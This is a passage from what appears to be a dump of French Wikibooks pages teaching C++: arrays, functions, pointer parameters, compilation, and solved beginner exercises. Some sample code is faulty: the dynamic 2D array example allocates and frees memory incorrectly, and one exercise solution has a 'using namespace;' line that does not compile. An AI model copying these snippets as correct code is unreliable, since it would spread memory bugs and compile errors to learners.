<br/> <br/> === Les tableaux à 2 dimensions=== ==== Statiques==== *'''Syntaxe'''<br/> ''type identificateur[taille_i][taille_j];''<br/> *'''Sémantique : '''<br/> ''identificateur'' est un tableau de ''taille_i'' sur ''taille_j'' cases. Pour chaques cases ''i'' choisies, il y a ''taille_j'' cases disponibles, ce genre de tableau sert bien souvent à la réalisation de carte pour la création de jeux videos en deux dimension. Les ''taille_i'' et ''taille_j'' ne peuvent changer au cours du programme. Pour le faire, il faut utiliser le [[Dynamiques]] *'''Exemple''' <pre> #include <iostream> using namespace std; int main(){ int t[10][5]; for(int i = 0; i < 10; ++i) for(int j = 0; j < 5; ++j) t[i][j]=i*j; for(int i = 0; i < 10; ++i){ for(int j = 0; j < 5; ++j) cout<<t[i][j]<< " "; cout << endl; } return 0; } </pre> '''Exécution : '''<br/> 0 0 0 0 0 <br/> 0 1 2 3 4 <br/> 0 2 4 6 8 <br/> 0 3 6 9 12 <br/> 0 4 8 12 16 <br/> 0 5 10 15 20 <br/> 0 6 12 18 24 <br/> 0 7 14 21 28 <br/> 0 8 16 24 32 <br/> 0 9 18 27 36 <br/> <br/> ==== Dynamiques==== *'''Exemple''' <pre> #include <iostream> using namespace std; int **t; int **t_j; int taille_i; int taille_j; void Free_Tab(); // Liberer l'espace mémoire; int main(){ cout<<"Tapez la valeur de taille_i : ";cin>>taille_i; cout<<"Tapez la valeur de taille_j : ";cin>>taille_j; /* Allocation dynamique */ t = new int *[taille_i]; t_j = new int *[taille_j]; for(int i = 0; i < taille_i; ++i){ t[i] = new int[taille_j]; t_j[i] = new int [taille_j]; } /* Initialisation */ for(int i = 0; i < taille_i; ++i) for(int j = 0; j < taille_j; ++j) t[i][j]=i*j; /* Affichage */ for(int i = 0; i < taille_i; ++i){ for(int j = 0; j < taille_j; ++j) cout<<t[i][j]<< " "; cout << endl; } return 0; } void Free_Tab(){ for(int i = 0; i < taille_i; ++i) delete[] t[i]; delete t; } </pre> '''Exécution 1 : '''<br/> Tapez la valeur de taille_i : 3<br/> Tapez la valeur de taille_j : 6<br/> 0 0 0 0 0 0 <br/> 0 1 2 3 4 5 <br/> 0 2 4 6 8 10<br/> '''Exécution 2 : '''<br/> Tapez la valeur de taille_i : 8<br/> Tapez la valeur de taille_j : 2<br/> 0 0 <br/> 0 1 <br/> 0 2 <br/> 0 3 <br/> 0 4 <br/> 0 5 <br/> 0 6 <br/> 0 7<br/> <br/> === Les tableaux de char=== Programmation C plus plus Les fonctions 7654 40928 2006-04-25T17:57:02Z 84.99.242.222 /* Passage de pointeurs en paramètre */ {{Programmation C++}} === Les fonctions=== Le C++ est un langage procédural, on peut définir des fonctions qui vont effectuer une certaine tâche. On peut paramètrer des fonctions qui vont permettre de paramétrer cette tâche et rendre ainsi les fonctions réutilisables dans d'autres contextes. Une fonction pourra appeler d'autres fonctions et ainsi de suite. Une fonction peut même s'appeler elle-même : on parle alors de fonctions récursives.<br/> ===='''Prototype d'une fonction '''==== *Le prototype va préciser le nom de la fonction, va donner le type de la valeur de retour de la fonction (void quand il n'y a pas de retour). * '''syntaxe'''<br/> ''type identificateur(paramètres);'' * '''Exemple : '''<br/> double f(double x,double y); ===='''Définition d'une fonction'''==== *La définition va reprendre le prototype mais va préciser cette fois le contenu de la fonction (le corps). *'''Syntaxe : '''<br/> <pre> type identificateur(paramètres) { // Liste d'instructions } </pre> * '''Exemple : '''<br/> <pre> #include<iostream> using namespace std; double f(double x,double y) { double a; a=x*x+y*y; return a; } int main() { double u,v,w; cout<<"Tapez la valeur de u : ";cin>>u; cout<<"Tapez la valeur de v : ";cin>>v; w=f(u,v); //appel de notre fonction cout<<"Le résultat est "<<w<<endl; return 0; } </pre> ==== Portée des variables==== =====Présentation===== Une fonction peut accéder : *à ses différents paramètres. * à ses variables définies localement. * aux variables globales (on évitera au maximum d'utiliser de telles variables) On appelle environnement d'une variable l'ensemble des variables à laquelles elle peut accéder. Les différents environnements sont donc largement séparés et indépendant des uns des autres. Cette séparation permet de mieux structurer les programmes. =====Exemple===== <pre> #include<iostream> using namespace std; int b; double f(double x,double y) { double a; a=x*x+y*y; return a; } double g(double x) { int r,s,t; /////// return ..... } int main() { double u,v,w; //........... return 0; } </pre> *b est une variable globale (à éviter) * f peut accéder ** à ses paramètres x et y. ** à sa variable locale a. ** à la variable globale b. * g peut accéder **à son paramètre x. ** à ses variables locales r,s et t. ** à la variable globale b. * la fonction main peut accéder ** à ses variables locales u,v et w. ** à la variable globale b. ==== Passage de pointeurs en paramètre ==== Pour passer un pointeur comme argument de fonction, il faut le spécifier dans la définition de la fonction et (si nécessaire), dans le prototype de la fonction, comme ceci : void passagePointeur (int *); // Prototype d'une fonction renvoyant void et prenant comme argument un //pointeur vers un int void passagePointeur (int * ptr) // Définition d'une fonction renvoyant void et prenant comme argument //un pointeur vers un int appelé ptr {} De même, il faut, lors de l'appel de fonction, non pas spécifier le nom de la variable comme lorsque d'un passage par valeur, mais son adresse. Pour ceci, il suffit de placer le signe & devant la variable. int a = 5; // Initialisation d'une variable a, de valeur 5 passageValeur (a); // Appel d'une fonction par valeur passagePointeur (&a); // Appel d'une fonction par pointeur Notez donc le & devant la variable, ceci a pour effet de passer l'adresse mémoire de la variable. Examinons le programme simple suivant : <pre>#include <iostream> using std::cout; void passagePointeur (int *); void passageValeur (int); int main() { int a = 5; int b = 7; cout << "a : " << a << "\nb : " << b; // Affiche les deux variables passageValeur (a); // Appel de la fonction en passant la variable a par valeur passagePointeur (&b); // Appel de la fonction en passant l'adresse de la variable b par pointeur cout << "\na : " << a << "\nb : " << b; // Réaffiche les deux variables system ("PAUSE"); return 0; } void passagePointeur (int * ptr) { cout << "\n*ptr : " << *ptr; // Affiche la valeur du pointeur, ne pas oublié de le déréférencé ! * ptr = 9; // Change la valeur de ptr; } void passageValeur (int val) { cout << "\nval : " << val; val = 12; }</pre> Le début du code n'est pas compliqué. On affiche les deux variables puis on appelle les deux fonctions, une par valeur et une par pointeur. Puis on affiche dans ces deux fonctions la valeur et on modifie la valeur. Mais vous remarquerez quelque chose ! De retour dans main, on réaffiche les deux variables a et b. a, qui a été passé par valeur, n'a pas été modifiée et a toujours sa valeur initiale (5), spécifiée à l'initialisation. Or, b n'a plus la même valeur que lors de son initialisation, 7, mais la valeur de 9. En effet, lors d'un appel par valeur, une copie de cette valeur est créée, donc lorsqu'un appel de fonction par valeur est effectué, on ne modifie pas la valeur d'origine mais une copie, ce qui fait que lorsqu'on retourne dans la fonction d'origine, les modifications effectuées sur la variable dans la fonction appelée ne sont pas prises en comptes. En revanche, lors d'un appel par pointeur, il s'agit de la variable elle même qui est modifiée (puisqu'on passe son adresse). Donc si elle est modifiée dans la fonction appelée, elle le sera également dans la fonction appelante. Les avantages sont que cet appel nécessite moins de charge de travail pour la machine. En effet, par valeur, il faut faire une copie de l'objet, alors que par pointeur, ce n'est pas le cas. L'inconvénient, c'est qu'on peut accidentellement modifier dans la fonction appelée la valeur de la variable, ce qui ce répercutera également dans la fonction appelante. La solution est simple : il suffit d'ajouter const dans le prototype de fonction de cette manière : void passagePointeur (const int *); // En d'autres termes, un pointeur vers un int constant ainsi que la définition de fonction comme ceci : void passagePointeur (const int * ptr) Essayez donc de recompiler le programme mis plus haut avec ces deux choses, et vous verrez que vous aurez droit à un beau message d'erreur vous indiquant que vous n'avez pas le droit de modifier une valeur constante ;) ==== Passage de références en paramètre ==== à compléter ====Passage de fonctions en paramètre==== à compléter Programmation C plus plus Compilation 7655 44058 2006-06-07T05:28:29Z Djo0012 1617 /* Sous Linux */ ajout de Code::Blocks {{Programmation C++}} ==Compilation== Le langage C++ fait partie des langages à compiler : pour obtenir un fichier exécutable, il faut que le programmeur écrive des '''fichiers sources'''. Il faut ensuite les compiler en utilisant un logiciel spécialisé : '''un compilateur'''. == Les fichiers sources == Le fichiers source en C++ portent souvent l'extension .cpp, .cxx, parfois .C et sont des fichiers texte lisible par le programmeur. ===Les "headers"=== Les fichiers .h sont appelés des "headers" et contiennent les prototypes de différentes fonctions, structures et classes. Ces prototypes proviennent : * de la librairie standard du C++ : tout compilateur C++ doit fournir ces fichiers ainsi que les fichiers objets contenant l'implémentation de la bibliothèque standard (souvent "linkés" par défaut). * de bibliothèques non standards fournis par l'éditeur du compilateur ou de l'environnement de développement. * de bibliothèques non standard (gratuites ou payantes) que le programmeur s'est procurés : citons par exemple la bibliothèque permettant d'accéder à une base de données mySQL. Lorsqu'une bibliothèque non standard est utilisée et que celle-ci englobe de nombreuses fonctionnalités : interface graphiques, accès à une base de données, surcouche système, communications réseaux, ...etc... alors on parle parfois de framework. Citons par exemple QT, wxWidget dans cette catégorie. Un framework apparait parfois comme une véritable surcouche du système d'exploitation. === Les fichiers .cpp=== Les fichiers .cpp (parfois .c) contiennent la définition (l'implémentation) des différentes fonctions et méthodes définis dans les headers. La compilations des fichiers .cpp produit dans un premier temps des fichiers objets. == L'édition de liens (linking) == L'édition de liens est la phase finale de la compilation qui va rassembler tous les fichiers objets afin de former un fichier exécutable. Les fichiers objets proviennent : * de la compilation de fichiers .cpp * de la bibliothèque standard (ceux-ci sont souvent liés automatiquement) * de bibliothèques ou framework extérieurs. Il faut dans ce cas explicitement dire à l'éditeurs de liens quels sont les fichiers qu'il doit lier. == Les environnements de développement intégrés== Les environnements de développement intégrés (EDI en français et IDE en anglais) sont des outils complets permettant de développer dans un certain langage de programmation. Ils contiennent en général : * un compilateur bien sûr. * un outil pour éditer/modifier/supprimer des fichiers source. * un outil pour compiler, paramétrer le compilateur et l'édition de lien. Cela passe en général par la création d'un projet. * des bibliothèques non standard sensées aider le programmeur. Parfois, il s'agit d'un véritable framework. * des outils pour permettre le lancement de l'application. * des outils pour débuguer l'application. * des outils pour créer des interfaces graphiques. * ...etc... ==Quelque exemples== ===sous windows=== * Visual C++ de Microsoft (basé sur Visual studio). * visual C++ express disponible gratuitement et complètement utilisable * Borland C++ Builder. * Dev-CPP disponibles gratuitement sous Windows. * Code::Blocks également disponible gratuitement. ===Sous Linux=== * Kdevelop (?) * gcc (commun à tout système Unix, ligne de commande) * Code::Blocks (EDI complet fournit avec gcc mais utilisable avec d'autre compilateur) à compléter ===Sous MacOS X === *Apple Xcode (livré avec Mac OS X). *Metrowerks CodeWarrior. *gcc (commun à tout système Unix, ligne de commande) Programmation C plus plus Un premier programme 7656 44063 2006-06-07T05:40:22Z Djo0012 1617 /* Exécution */ {{Programmation C++}} ==Un premier programme== ===Le fichier source=== <pre> #include <iostream> using namespace std; int main() { cout<<"BONJOUR"; return 0; } </pre> ===Explications=== ==== La directive #include==== La directive de compilation ''#include<iostream>'' permet d'inclure les prototypes des différentes classes contenues dans la bibliothèque standard iostream. Cette bibliothèque contient la définition de '''cout''' qui permet entre autre d'afficher des messages à l'écran. ==== L'espace de nommage standard==== Un espace de nommage peut être vu comme un ensemble de classe. '''cout''' fait partie de l'espace de nommage '''std'''. Pour parler de l'objet prédéfini '''cout''' de l'espace de nommage '''std''', on peut écrire std::cout. Cette notation est assez lourde car elle parsème le code de ''std::''. Pour cela on a écrit '''using namespace std''' qui précise que par défaut l'espace de nommage utilisé sera std. On pourra donc alors écrire tout simplememnt ''cout'' pour parler de ''std::cout''. ==== La fonction main==== Tout programme en C++ commence par l'exécution de la fonction main. Il se termine lorsque la fonction main est terminée. La fonction main peut être vue comme le point d'entrée de tout programme en C++. Cette fonction renvoie un entier, très souvent 0, qui permet d'indiquer au système d'exploitation que l'application s'est terminée normalement. ==== L'objet cout ==== Il permet d'envoyer des caractères vers le flux de sortie du programme, c'est-à-dire l'écran pour ce programme. Il permet donc d'afficher des messages à l'écran. On utilisant l'opérateur <<, on peut écrire une chaîne de caractères à l'écran. L'instruction ''cout<<"BONJOUR";'' affiche donc le message '''BONJOUR''' à l'écran. ==== return 0==== Cette instruction (facultative ici) indique que la fonction main est terminée et que tout s'est bien passé. Nous verrons plus loin se que veut dire exactement la fonction return, mais même si elle est facultative il est fortement recommandé de la mettre, que se soit par simple souci de conformité ou du fait que votre programme est sensé renvoyer une valeur a la fin de son exécution. ===Exécution=== Si on compile et on exécute ce programme, le message '''BONJOUR''' s'affiche à l'écran. Il est possible que vous ne voyer qu’une fenêtre noir "flasher" si vous êtes sous Windows (autre os a confirme) pour résoudre se problème ajoute avant le "return 0" l’instruction : <pre> system("pause"); return 0; </pre> Programmation C plus plus Les structures 7659 36869 2006-03-10T10:49:43Z Merrheim 1032 {{Programmation C++}} === Les structures === ====Présentation==== Les structures permettent de regrouper dans une même entité plusieurs variables. Ainsi il est possible de construire de nouveaux types plus complexes. ===='''Syntaxe'''==== <pre> struct identificateur { //liste des différents champs constituant notre structure }; </pre> Nous définissions ici une structure appelée identificateur. ====Exemple==== <pre> #include <iostream> #include<cmath> using namespace std; struct Point { double x; double y; }; int main() { Point A,B; double dx, dy,distance; cout<<"Tapez l'abscisse de A : ";cin>>A.x; cout<<"Tapez l'ordonnée de A : ";cin>>A.y; cout<<"Tapez l'abscisse de B : ";cin>>B.x; cout<<"Tapez l'ordonnée de B : ";cin>>B.y; dx=A.x-B.x; dy=A.y-B.y; distance=sqrt(dx*dx+dy*dy); cout<<"La distance AB vaut : "<<distance<<endl; return 0; } </pre> Programmation C plus plus Avant propos 7660 36879 2006-03-10T11:39:25Z Merrheim 1032 {{Programmation C++}} ==Avant-propos== Ce livre est destiné à présenter les différents aspects du langage C++. L'objectif est d'en faire un livre référence sur les différents aspects de ce langage. Nous essayerons de proposer pour chaque concept un exemple illustratif complet. Programmation C plus plus Bibliographie et liens 7661 43763 2006-06-02T16:04:10Z 140.93.2.227 /* Bibliographie et liens */ {{Programmation C++}} ==Bibliographie et liens== null Exercices en langage C++ 7662 37550 2006-03-14T09:15:50Z Merrheim 1032 {{Exercices en langage C++}} {| width="70%" border="0" cellspacing="0" cellpadding="5" |- | bgcolor="#EAF5FB" align="center" colspan="2" | {| width="100%" bgcolor="#EAF5FB" |- | bgcolor="#EAF5FB" valign="middle" width="90%" align="center" | <font size="+1">Exercices en langage C++</font> ''Un livre appartenant à la série [[Programmation]] du [[Département informatique/Bibliothèque|Département informatique]] <br/> et à l'[[Accueil/Informatique|étagère Informatique]] de [[Accueil|Wikilivres]]''. |- |} |- bgcolor="lightyellow" valign="top" colspan="2" | {{Sous section|nom=Exercices en langage C++/Sommaire|couleur=#EAF5FB|couleurbord=darkblue|couleurfond=white}} |- |} Modèle:Exercices en C++ 7663 36919 2006-03-10T13:15:26Z Merrheim 1032 erreur à effacer svp Modèle:C++/Sous section 7664 37277 2006-03-12T17:10:31Z Merrheim 1032 <div style="width:{{{width}}};background-color:{{{couleur}}};font-size:1px;height:8px;border:1px solid {{{couleurbord}}};-moz-border-radius-topright:0.5em;-moz-border-radius-topleft:0.5em;"></div> <div align="right" style="width:{{{width}}};font-size:xx-small;">[[:{{{nom}}}|Modifier]]</div> <div style="width:{{{width}}};border:1px solid {{{couleur}}};border-top:0px solid white;padding:5px 5px 0 5px;margin-bottom:4ex; background-color:{{{couleurfond}}};"> {{:{{{nom}}}}}<br clear="all" /> </div> Exercices en langage C++/IHM/Avant propos 7668 36929 2006-03-10T13:20:22Z Merrheim 1032 {{Exercices en langage C++}} {{C++/Sous section|width=70%|nom=Exercices en langage C++/Avant propos|couleur=#E0E0F0|couleurbord=darkblue|couleurfond=white}} Exercices en langage C++/IHM/Notions de base 7669 36925 2006-03-10T13:18:10Z Merrheim 1032 {{Exercices en langage C++}} {{C++/Sous section|width=70%|nom=Exercices en langage C++/Notions de base|couleur=#E0E0F0|couleurbord=darkblue|couleurfond=white}} Exercices en langage C++/Notions de base 7670 42927 2006-05-21T09:46:04Z 86.207.0.62 /* EXERCICE 5 */ ==Notions de base== ===EXERCICE 1 === Ecrire un programme qui demande à l'utilisateur de taper la largeur et la longeur d'un champs et qui en affiche le périmètre et la surface. {{Boîte déroulante|titre=Solution|contenu = <pre> #include<iostream> using namespace std; int main() { double largeur,longueur,surface, perimetre; cout<<"Tapez la largeur du champs : ";cin>>largeur; cout<<"Tapez la longueur du champs : ";cin>>longueur; surface=largeur*longueur; perimetre=2*(largeur+longueur); cout<<"La surface vaut : "<<surface<<endl; cout<<"Le perimetre vaut : "<<perimetre<<endl; return 0; } </pre> }} ===EXERCICE 2 === Ecrire un programme qui demande à l'utilisateur de taper 5 entiers et qui affiche leur moyenne. Le programme ne devra utiliser que 2 variables. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *La notion de variables et leur déclaration. *Calcul du moyenne. *Utilisation des types int et double. *L'utilisation de cin et de cout. *L'affectation. Voici le fichier source : <pre> #include<iostream> using namespace std; int main() { int a;double s=0; cout<<"Tapez la valeur numero 1 : ";cin>>a;s=s+a; cout<<"Tapez la valeur numero 2 : ";cin>>a;s=s+a; cout<<"Tapez la valeur numero 3 : ";cin>>a;s=s+a; cout<<"Tapez la valeur numero 4 : ";cin>>a;s=s+a; cout<<"Tapez la valeur numero 5 : ";cin>>a;s=s+a; s=s/5.0; cout<<"La moyenne vaut : "<<s<<endl; return 0; } </pre> }} ===EXERCICE 3 === Ecrire un programme qui demande à l’utilisateur de saisir 2 entiers A et B, qui échange le contenu des variables A et B puis qui affiche A et B. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *La notion de variables et leur déclaration. *L'utilisation de cin et de cout. *L'affectation. *Un "algorithme" rudimentaire : échanger le contenu de 2 variables. Voici le fichier source : <pre> #include<iostream> using namespace std; int main() { int a,b,temp; cout<<"Tapez la valeur de a : ";cin>>a; cout<<"Tapez la valeur de b : ";cin>>b; temp=a; a=b; b=temp; cout<<"La valeur de a est "<<a<<endl; cout<<"La valeur de b est "<<b<<endl; return 0; } </pre> }} ===EXERCICE 4 === Ecrire un programme qui demande à l'utilisateur de taper le prix HT qu'un kilo de tomates, le nombre de kilos de tomates achetés, le taux de TVA (Exemple 5.5, 19.6,...). Le programme affiche alors le prix TTC des marchandises {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *La notion de variables et leur déclaration. *Le choix d'identificateurs pertinents et explicites. *L'utilisation de cin et de cout. *L'affectation. *Modélisation d'un problème "économique". Voici le fichier source : <pre> #include<iostream> using namespace std; int main() { double prixht,poids,tva,total; cout<<"Tapez le prix HT d'un kilo de tomates : ";cin>>prixht; cout<<"Combien de kilos avez-vous achetes : ";cin>>poids; cout<<"Quel est le taux de TVA : ";cin>>tva; total=(1+tva/100)*prixht*poids; cout<<"Le prix TTC est : "<<total<<endl; return 0; } </pre> }} ===EXERCICE 5 === Ecrire un programme qui affiche ceci à l'écran:<br/> <pre> Hello world! Voici un programme illustrant l'utilisation de cout! </pre> {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *L'utilisation de cout et de endl. Voici le fichier source : <pre> #include<iostream> using namespace std; int main() { cout<<"Hello world!"<<endl; cout<<"Voici un programme illustrant l'utilisation de cout!"; return 0; } </pre> }} Modèle:Exercices en langage C++ 7671 37548 2006-03-14T09:13:06Z Merrheim 1032 {| style="border:3px blue solid; border-style: inset;" cellspacing="0" cellpadding="2px" align="right" | style="text-align:center;background:#E0E0F0;" | '''[[Exercices en langage C++|Exercices en langage C++]]''' |- | style="text-align:center;background:#E0E0F0;" | ''[[Département informatique/Bibliothèque|Département Informatique]]'' |- | style="text-align:center;background:white;" | [[Image:Wikibooks-logo-fr.png|150px|center|Programmation C++ ]] |- | bgcolor="#E0E0F0" align="center" |'''Sommaire''' |- | bgcolor="white" | *<small>[[Exercices en langage C++/IHM/Avant propos|Avant-propos]]</small> *<small>[[Exercices en langage C++/IHM/Notions de base|Notions de base]]</small> *<small>[[Exercices en langage C++/IHM/Structures de contrôles|Structures de contrôle]]</small> *<small>[[Exercices en langage C++/IHM/Les tableaux|Les tableaux]]</small> *<small>[[Exercices en langage C++/IHM/Les tableaux de char|Les tableaux de char]]</small> *<small>[[Exercices en langage C++/IHM/Les structures|Les structures]]</small> *<small>[[Exercices en langage C++/IHM/Les fonctions|Les fonctions]]</small> *<small>[[Exercices en langage C++/IHM/Les classes|Les classes]]</small> *<small>[[Exercices en langage C++/IHM/Les templates|Les templates]]</small> *<small>[[Exercices en langage C++/IHM/La STL|La STL]]</small> *<small>[[Exercices en langage C++/IHM/Les fichiers|Les fichiers]]</small> |- | bgcolor="#E0E0F0" align="center" |'''Liens''' |- | bgcolor="white" | *<small>[[Programmation C plus plus]]</small> *<small>[[Programmation C++ (débutant)]]</small> *<small>[[Interfaces graphiques en C++ avec wxWidget|IHM en C++ avec wxWidget]]</small> *<small>[[Programmation C]]</small> *<small>[[Exercices en langage C]]</small> |- | align="right" bgcolor="white" | <small>[http://fr.wikibooks.org/w/index.php?title=Mod%E8le:Exercices_en_langage_%20C%252B%252B&action=edit Modifier ce modèle]</small> |} Exercices en langage C++/Sommaire 7672 37543 2006-03-14T09:00:52Z Merrheim 1032 /* Sommaire */ ==Sommaire== Nombre total d'exercices corrigés : 58 *[[Exercices en langage C++/IHM/Avant propos|Avant-propos]] *[[Exercices en langage C++/IHM/Notions de base|Notions de base]] (5 exercices) *[[Exercices en langage C++/IHM/Structures de contrôles|Structures de contrôle]] (20 exercices) *[[Exercices en langage C++/IHM/Les tableaux|Les tableaux]] (15 exercices) *[[Exercices en langage C++/IHM/Les tableaux de char|Les tableaux de char]] (8 exercices) *[[Exercices en langage C++/IHM/Les structures|Les structures]] (0 exercice) *[[Exercices en langage C++/IHM/Les fonctions|Les fonctions]] (10 exercices) *[[Exercices en langage C++/IHM/Les classes|Les classes]] (0 exercice) *[[Exercices en langage C++/IHM/Les templates|Les templates]] (0 exercice) *[[Exercices en langage C++/IHM/La STL|La STL]] (0 exercices) *[[Exercices en langage C++/IHM/Les fichiers|Les fichiers]] (0 exercice) Exercices en langage C++/Avant propos 7673 36968 2006-03-10T13:51:32Z Merrheim 1032 ==Avant propos== Nous proposons ici de recuillir tous types d'exercices en langage C++, du plus basique au plus complexe. N'hésitez pas à rajouter ici et là un nouvel exercice avec sa solution. Merci Exercices en langage C++/IHM/Structures de contrôles 7674 36933 2006-03-10T13:25:11Z Merrheim 1032 {{Exercices en langage C++}} {{C++/Sous section|width=70%|nom=Exercices en langage C++/Structures de contrôle|couleur=#E0E0F0|couleurbord=darkblue|couleurfond=white}} Exercices en langage C++/Structures de contrôle 7675 42908 2006-05-20T20:51:20Z 83.204.21.143 /* EXERCICE 18 */ ==Structures de contrôle== ===EXERCICE 1 === Ecrire un programme qui demande à l'utilisateur de taper un entier et qui affiche GAGNE si l'entier est entre 56 et 78 bornes incluses PERDU sinon. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *La notion de variables et leur déclaration. *L'utilisation de cin et de cout. *Le choix d'une structure de contrôle adaptée au problème ! Voici le fichier source : <pre> #include<iostream> using namespace std; int main() { int a; cout<<"Tapez un entier : ";cin>>a; if((a>=56)&&(a<=78))cout<<"GAGNE"<<endl; else cout<<"PERDU"<<endl; return 0; } </pre> }} ===EXERCICE 2 === Ecrire un programme qui affiche tous les entiers de 8 jusqu’à 23 (bornes incluses) en utilisant un for. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *Utilisation rudimentaire d'un for. Voici le fichier source : <pre> #include<iostream> using namespace std; int main() { int i; for(i=8;i<=23;i++)cout<<i<<endl; return 0; } </pre> }} ===EXERCICE 3 === Même exercice mais en utilisant un while. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *Utilisation rudimentaire d'un while. Voici le fichier source : <pre> #include<iostream> using namespace std; int main() { int i=8; while(i<=23) { cout<<i<<endl; i++; } return 0; } </pre> }} ===EXERCICE 4 === Ecrire un programme qui demande à l’utilisateur de taper 10 entiers et qui affiche leur somme. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *Utilisation d'un for. *Etude d'un algorithme usuel : calcul d'une somme. Voici le fichier source : <pre> #include<iostream> using namespace std; int main() { int i,s=0,x; for(i=0;i<10;i++) { cout<<"Tapez un entier : ";cin>>x; s=s+x; } cout<<"La somme vaut : "<<s<<endl; return 0; } </pre> }} ===EXERCICE 5 === Ecrire un programme qui demande à l’utilisateur de taper 10 entiers et qui affiche le plus petit de ces entiers. {{Boîte déroulante|titre=Solution|contenu = Voici le fichier source : <pre> #include<iostream> using namespace std; int main() { int i,ppt,x; for(i=0;i<10;i++) { cout<<"Tapez un entier : ";cin>>x; if(i==0)ppt=x;else if(x<ppt)ppt=x; } cout<<"Le plus petit vaut vaut : "<<ppt<<endl; return 0; } </pre> }} ===EXERCICE 6=== Ecrire un programme qui demande à l'utilisateur de taper un entier N et qui calcule la somme des cubes de 5^3 à N^3. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *Utilisation simple du for. *Etude d'un algorithme usuel : calcul d'une somme. *Modélisation d'un problème simple issu des mathématiques. Voici le fichier source : <pre> #include<iostream> using namespace std; int main() { int N,s=0,i; cout<<"Tapez la valeur de N : ";cin>>N; for( i=5 ; i<=N ; i++ ) s=s+i*i*i; cout<<"La somme vaut : "<<s<<endl; return 0; } </pre> }} ===EXERCICE 7=== Ecrire un programme qui demande à l'utilisateur de taper un entier N et qui calcule u(N) défini par : <br/> u(0)=3<br/> u(n+1)=3.u(n)+4<br/> {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *Utilisation simple du for. *Etude d'un algorithme usuel : calcul des termes d'une suite récurrente. *Modélisation d'un problème issu des mathématiques. Voici le fichier source : <pre> #include<iostream> using namespace; int main() { int i,u=3,N; cout<<"Tapez N : ";cin>>N; for(i=0;i<N;i++) u=u*3+4; cout<<"u("<<N<<")="<<u<<endl; return 0; } </pre> }} ===EXERCICE 8=== Ecrire un programme qui demande à l'utilisateur de taper un entier N et qui calcule u(N) défini par :<br/> u(0)=1<br/> u(1)=1<br/> u(n+1)=u(n)+u(n-1)<br/> {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *Utilisation simple du for. *Etude d'un algorithme usuel : calcul d'une suite récurrente. *Modélisation d'un problème simple issu des mathématiques. Voici le fichier source : <pre> #include<iostream> using namespace std; int main() { int i,u=1,v=1,w,N; cout<<"Tapez N : ";cin>>N; w=1; for(i=2;i<=N;i++) { w=u+v; u=v; v=w; } cout<<"u("<<N<<")="<<w<<endl; return 0; } </pre> }} ===EXERCICE 9=== Ecrire un programme qui demande à l’utilisateur de taper un entier N entre 0 et 20 bornes incluses et qui affiche N+17. Si on tape une valeur erronée, il faut afficher "erreur" et demander de saisir à nouveau l'entier. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *Utilisation simple du while. *Validation des données saisies par l'utilisateur. Voici le fichier source : <pre> #include<iostream> using namespace std; int main() { int N; bool ok; do { cout<<"Tapez N entre 0 et 20 :";cin>>N; ok= N<=20 && N>=0; if(!ok)cout<<"ERREUR RECOMMENCEZ"<<endl; }while(!ok); N=N+17; cout<<"La valeur finale est : "<<N<<endl; return 0; } </pre> }} ===EXERCICE 10=== Ecrire un programme qui permet de faire des opérations sur un entier (valeur initiale à 0). Le programme affiche la valeur de l'entier puis affiche le menu suivant : <br/> 1. Ajouter 1<br/> 2. Multiplier par 2<br/> 3. Soustraire 4<br/> 4. Quitter<br/> Le programme demande alors de taper un entier entre 1 et 4. Si l'utilisateur tape une valeur entre 1 et 3, on effectue l'opération, on affiche la nouvelle valeur de l'entier puis on réaffiche le menu et ainsi de suite jusqu'à ce qu'on tape 4. Lorsqu'on tape 4, le programme se termine. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *Utilisation du while. *Utilisation du switch. *Gestion d'un programme à l'aide d'un menu. *Modélisation d'un problème simple sous forme informatique. Voici le fichier source : <pre> #include<iostream> using namespace std; int main() { int x=0,choix; do { cout<<"x vaut "<<x<<endl; cout<<"1 : Ajouter 1"<<endl; cout<<"2 : Multiplier par 2"<<endl; cout<<"3 : Soustraire 4"<<endl; cout<<"4 : Quitter"<<endl; cout<<"Votre choix : ";cin>>choix; switch(choix) { case 1 : x++;break; case 2: x=x*2; break; case 3: x=x-4;break; } }while(choix!=4); cout<<"La valeur finale de x vaut : "<<x<<endl; return 0; } </pre> }} ===EXERCICE 11=== Ecrire un programme qui demande à l'utilisateur de taper des entiers strictement positifs et qui affiche leur moyenne. Lorsqu'on tape une valeur négative, le programme affiche ERREUR et demande de retaper une valeur. Lorsqu'on tape 0, cela signifie que le dernier entier a été tapé. On affiche alors la moyenne. Si le nombre d'entiers tapés est égal à 0, on affiche PAS DE MOYENNE. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *Utilisation d'un while de difficulté moyenne. *Etude d'un algorithme usuel : calcul d'une moyenne. Voici le fichier source : <pre> #include<iostream> using namespace std; int main() { int x, s=0,nb=0; double moyenne; do{ cout<<"Tapez un entier :";cin>>x; if(x>0){s=s+x;nb++;} else if(x<0)cout<<"ERREUR "; }while(x!=0); if(nb==0)cout<<"AUCUN ENTIER TAPE "<<endl<<"PAS DE MOYENNE"<<endl; else { moyenne=(double)s/nb; cout<<"La moyenne vaut : "<<moyenne<<endl; } return 0; } </pre> }} ===EXERCICE 12 === Ecrire un programme qui demande à l'utilisateur de taper un entier N et qui calcule u(N) défini par : <br/> u(0)=3<br/> u(1)=2<br/> u(n)=n.u(n-1)+(n+1).u(n-2)+n<br/> {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *Utilisation d'un for. *Etude d'un 